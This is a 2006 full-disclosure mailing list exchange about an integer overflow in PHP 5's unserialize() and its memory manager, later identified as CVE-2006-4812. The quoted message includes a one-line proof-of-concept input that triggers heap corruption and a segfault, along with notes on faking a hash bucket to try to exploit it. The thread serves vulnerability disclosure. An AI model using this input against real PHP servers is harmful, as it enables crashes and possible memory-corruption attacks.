full-disclosure - Re: PHP 5 ecalloc memory manager unserialize() array int overflow ia 32 bits poc

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Message-ID: <8f6a58a30610180506l44368ba7gf0bbb03300ded5ac@mail.gmail.com>
Date: Wed, 18 Oct 2006 14:06:30 +0200
From: "Slythers Bro" <slythers@...il.com>
To: "Josh Bressers" <josh@...ss.net>
Cc: full-disclosure@...ts.grok.org.uk
Subject: Re: PHP 5 ecalloc memory manager unserialize()
	array int overflow ia 32 bits poc

"*ia 32 bits poc"
poc = Proof Of Concept
*
On 10/18/06, Josh Bressers <josh@...ss.net> wrote:
>
> >
> > <?
> >
>
> >  print_r(unserialize('a:1073741823:{i:0;s:30:"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}'));
> > ?>
> >
> > in function zend_hash_init() int overflow ( ecalloc() )-> heap overflow
> > here segfault in zend_hash_find() but it's possible to fake the bucket
> and
> > exploit a zend_hash_del_index_or_key
> > i tried a memory dump , just fake the bucked with the pointer of the
> > $GLOBALS's bucket but segfault before in memory_shutdown...
> >
>
> This looks to be CVE-2006-4812, which was discovered by Stefan Esser.  He
> published his advisory last week:
> http://www.hardened-php.net/advisory_092006.133.html
>
> --
>     JB
>
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